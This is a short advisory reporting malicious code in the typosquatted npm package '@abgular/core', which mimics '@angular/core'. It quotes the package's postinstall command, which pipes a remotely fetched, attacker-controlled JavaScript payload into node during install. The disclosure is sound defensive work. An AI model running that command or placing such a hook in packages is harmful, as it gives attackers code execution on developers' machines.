    Summary: Malicious code in @abgular/core (npm)

    Details: Source: amazon-inspector (4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b) Package name `@abgular/core` is a single-character transposition of `@angular/core` and copies that package's description, author, and repository metadata. The package.json declares a `postinstall` script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into `node` during `npm install`. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype `@angular/core` trigger this remote-code execution.
